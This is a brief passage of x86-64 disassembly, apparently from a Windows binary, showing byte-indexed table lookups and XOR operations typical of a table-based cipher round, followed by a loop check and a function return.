movzx ecx, byte [rdi + rax*4 + 0x1c48e0]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x1c54e0]
movzx ecx, byte [rdi + rax*4 + 0x1c48e0]
xor r8d, dword [rdi + rcx*4 + 0x1c60e0]
mov dword [r10 + 8], r8d
cmp r11d, dword [rbx + 0xf0]
jl 0x140158be0
mov rdi, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rbx
ret